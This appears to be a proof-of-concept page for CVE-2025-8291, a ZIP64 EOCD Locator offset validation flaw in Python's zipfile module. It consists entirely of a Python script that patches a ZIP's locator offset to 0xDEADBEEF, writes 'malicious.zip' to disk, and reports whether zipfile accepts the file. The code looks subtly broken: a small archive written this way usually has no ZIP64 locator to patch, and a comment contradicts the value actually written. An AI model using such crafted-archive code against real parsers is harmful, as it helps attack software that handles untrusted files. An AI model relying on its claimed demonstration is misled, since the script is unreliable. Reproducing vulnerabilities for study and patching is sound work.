CVE-2025-8291 Python zipfile模块ZIP64 EOCD偏移验证绕过漏洞

#!/usr/bin/env python3 """ PoC for CVE-2025-8291: Python zipfile module ZIP64 EOCD Locator offset validation bypass This PoC creates a malicious ZIP64 archive with an inconsistent ZIP64 EOCD Locator offset. """ import struct import zipfile import io def create_malicious_zip64(): """Create a ZIP64 archive with manipulated EOCD Locator offset.""" buf = io.BytesIO() # Create a normal ZIP file first with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf: zf.writestr('test.txt', 'Hello World') data = bytearray(buf.getvalue()) # Find ZIP64 EOCD Locator signature (0x07064B50) eocd_locator_sig = struct.pack('<I', 0x07064B50) locator_pos = data.find(eocd_locator_sig) if locator_pos != -1: # The offset field is at position +12 from locator signature start # Modify it to an incorrect value # Original offset should point to ZIP64 EOCD, we set it to 0 (invalid) struct.pack_into('<Q', data, locator_pos + 12, 0xDEADBEEF) print(f"[*] Modified ZIP64 EOCD Locator offset at position {locator_pos + 12}") print(f"[*] New offset value: 0xDEADBEEF (invalid)") return bytes(data) def verify_vulnerability(): """Verify the vulnerability by parsing the malicious ZIP.""" malicious_zip = create_malicious_zip64() # Save malicious ZIP to disk with open('malicious.zip', 'wb') as f: f.write(malicious_zip) print("[+] Saved malicious ZIP to malicious.zip") # Try to open with Python's zipfile (vulnerable behavior) try: with zipfile.ZipFile(io.BytesIO(malicious_zip), 'r') as zf: print("[+] Python zipfile opened the malicious ZIP successfully") print("[!] This demonstrates the vulnerability - offset validation missing") for name in zf.namelist(): print(f" - File: {name}") except Exception as e: print(f"[-] Python zipfile failed: {e}") if __name__ == '__main__': print("=" * 60) print("CVE-2025-8291 PoC - ZIP64 EOCD Locator Offset Bypass") print("=" * 60) verify_vulnerability()